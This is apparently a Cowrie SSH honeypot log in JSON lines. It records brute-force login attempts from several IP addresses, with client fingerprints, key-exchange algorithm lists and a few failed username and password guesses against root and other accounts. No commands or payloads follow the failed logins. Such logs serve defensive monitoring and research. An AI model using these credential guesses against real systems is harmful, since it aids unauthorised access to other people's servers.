{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":33962,"dst_ip":"159.203.135.109","dst_port":22,"session":"82c08b46f375","protocol":"ssh","message":"New connection: 198.1.75.59:33962 (159.203.135.109:22) [session: 82c08b46f375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:12.110037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:12.113836Z","src_ip":"198.1.75.59","session":"82c08b46f375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:12.195509Z","src_ip":"198.1.75.59","session":"82c08b46f375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M@nt@#S3cur3!","message":"login attempt [root/M@nt@#S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:12.440840Z","src_ip":"198.1.75.59","session":"82c08b46f375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:13.303815Z","src_ip":"198.57.219.18","session":"111df87b9f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:22.328185Z","src_ip":"198.1.75.59","session":"82c08b46f375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":59086,"dst_ip":"10.17.0.5","dst_port":22,"session":"a93ec1b2661c","protocol":"ssh","message":"New connection: 165.22.184.88:59086 (10.17.0.5:22) [session: a93ec1b2661c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:53.144557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:53.148043Z","src_ip":"165.22.184.88","session":"a93ec1b2661c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:53.152010Z","src_ip":"165.22.184.88","session":"a93ec1b2661c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"N3x0!S3cur3#W0rd","message":"login attempt [root/N3x0!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:53.167403Z","src_ip":"165.22.184.88","session":"a93ec1b2661c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:54.173729Z","src_ip":"165.22.184.88","session":"a93ec1b2661c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":48612,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a952dbfcceb","protocol":"ssh","message":"New connection: 198.1.93.192:48612 (10.17.0.5:22) [session: 6a952dbfcceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:11.145624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:11.149390Z","src_ip":"198.1.93.192","session":"6a952dbfcceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:11.238115Z","src_ip":"198.1.93.192","session":"6a952dbfcceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cryptocom","password":"crypto123","message":"login attempt [cryptocom/crypto123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:11.506717Z","src_ip":"198.1.93.192","session":"6a952dbfcceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":35904,"dst_ip":"10.17.0.5","dst_port":22,"session":"aca7ea126391","protocol":"ssh","message":"New connection: 66.29.142.197:35904 (10.17.0.5:22) [session: aca7ea126391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:19.984369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:19.987620Z","src_ip":"66.29.142.197","session":"aca7ea126391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:20.050370Z","src_ip":"66.29.142.197","session":"aca7ea126391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bybit789","message":"login attempt [root/bybit789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:20.241033Z","src_ip":"66.29.142.197","session":"aca7ea126391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:21.305992Z","src_ip":"66.29.142.197","session":"aca7ea126391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:30.995050Z","src_ip":"198.1.93.192","session":"6a952dbfcceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":53898,"dst_ip":"159.203.135.109","dst_port":22,"session":"961920cf27e2","protocol":"ssh","message":"New connection: 139.59.4.137:53898 (159.203.135.109:22) [session: 961920cf27e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:38.824806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:38.827338Z","src_ip":"139.59.4.137","session":"961920cf27e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:39.035748Z","src_ip":"139.59.4.137","session":"961920cf27e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sex123","message":"login attempt [root/sex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:39.900996Z","src_ip":"139.59.4.137","session":"961920cf27e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:41.112063Z","src_ip":"139.59.4.137","session":"961920cf27e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":57264,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b8b137f53e9","protocol":"ssh","message":"New connection: 139.19.117.129:57264 (159.203.135.109:22) [session: 4b8b137f53e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:54.930212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:54.934537Z","src_ip":"139.19.117.129","session":"4b8b137f53e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:55.025527Z","src_ip":"139.19.117.129","session":"4b8b137f53e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC69p6u0xvnBRcSMatDUAlflsayJHp3y3oKQEwChJvGGB3bJvVFL3YxuO/ZKyssjGUDv9R+8tBJVqd4kpEPZniPmndHCX4eDFB4gxG1sL7UsNR8yxY2QciMAf151vK51cckT8219DolaRkrjtOyUpj6g59Qwu76+3GWEyYOevE1x5fPqI5PCYBgE+uKL+Gd9FVutGnbjjWjBf9N3G4yHEgy7pR9DKVH90KnwKuaptqPeP5GFLSTVmslvN7h9j5i9Vz2YsTx1XclI2VKaPHObW30LGOAXOqtYo2dvN7h3rdCg/ijw8eUb0ELPHl6o6s4r2IkbLOtthBifhLUV0JgFOb5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:55.213868Z","src_ip":"139.19.117.129","session":"4b8b137f53e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC69p6u0xvnBRcSMatDUAlflsayJHp3y3oKQEwChJvGGB3bJvVFL3YxuO/ZKyssjGUDv9R+8tBJVqd4kpEPZniPmndHCX4eDFB4gxG1sL7UsNR8yxY2QciMAf151vK51cckT8219DolaRkrjtOyUpj6g59Qwu76+3GWEyYOevE1x5fPqI5PCYBgE+uKL+Gd9FVutGnbjjWjBf9N3G4yHEgy7pR9DKVH90KnwKuaptqPeP5GFLSTVmslvN7h9j5i9Vz2YsTx1XclI2VKaPHObW30LGOAXOqtYo2dvN7h3rdCg/ijw8eUb0ELPHl6o6s4r2IkbLOtthBifhLUV0JgFOb5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:55.216553Z","src_ip":"139.19.117.129","session":"4b8b137f53e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC69p6u0xvnBRcSMatDUAlflsayJHp3y3oKQEwChJvGGB3bJvVFL3YxuO/ZKyssjGUDv9R+8tBJVqd4kpEPZniPmndHCX4eDFB4gxG1sL7UsNR8yxY2QciMAf151vK51cckT8219DolaRkrjtOyUpj6g59Qwu76+3GWEyYOevE1x5fPqI5PCYBgE+uKL+Gd9FVutGnbjjWjBf9N3G4yHEgy7pR9DKVH90KnwKuaptqPeP5GFLSTVmslvN7h9j5i9Vz2YsTx1XclI2VKaPHObW30LGOAXOqtYo2dvN7h3rdCg/ijw8eUb0ELPHl6o6s4r2IkbLOtthBifhLUV0JgFOb5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:55.310137Z","src_ip":"139.19.117.129","session":"4b8b137f53e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC69p6u0xvnBRcSMatDUAlflsayJHp3y3oKQEwChJvGGB3bJvVFL3YxuO/ZKyssjGUDv9R+8tBJVqd4kpEPZniPmndHCX4eDFB4gxG1sL7UsNR8yxY2QciMAf151vK51cckT8219DolaRkrjtOyUpj6g59Qwu76+3GWEyYOevE1x5fPqI5PCYBgE+uKL+Gd9FVutGnbjjWjBf9N3G4yHEgy7pR9DKVH90KnwKuaptqPeP5GFLSTVmslvN7h9j5i9Vz2YsTx1XclI2VKaPHObW30LGOAXOqtYo2dvN7h3rdCg/ijw8eUb0ELPHl6o6s4r2IkbLOtthBifhLUV0JgFOb5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:23:55.312972Z","src_ip":"139.19.117.129","session":"4b8b137f53e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:24:04.930860Z","src_ip":"139.19.117.129","session":"4b8b137f53e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":1328,"dst_ip":"10.17.0.5","dst_port":22,"session":"c04c010c75e0","protocol":"ssh","message":"New connection: 176.53.159.196:1328 (10.17.0.5:22) [session: c04c010c75e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:24:32.093657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:24:32.097894Z","src_ip":"176.53.159.196","session":"c04c010c75e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:24:32.194331Z","src_ip":"176.53.159.196","session":"c04c010c75e0","protocol":"ssh"}
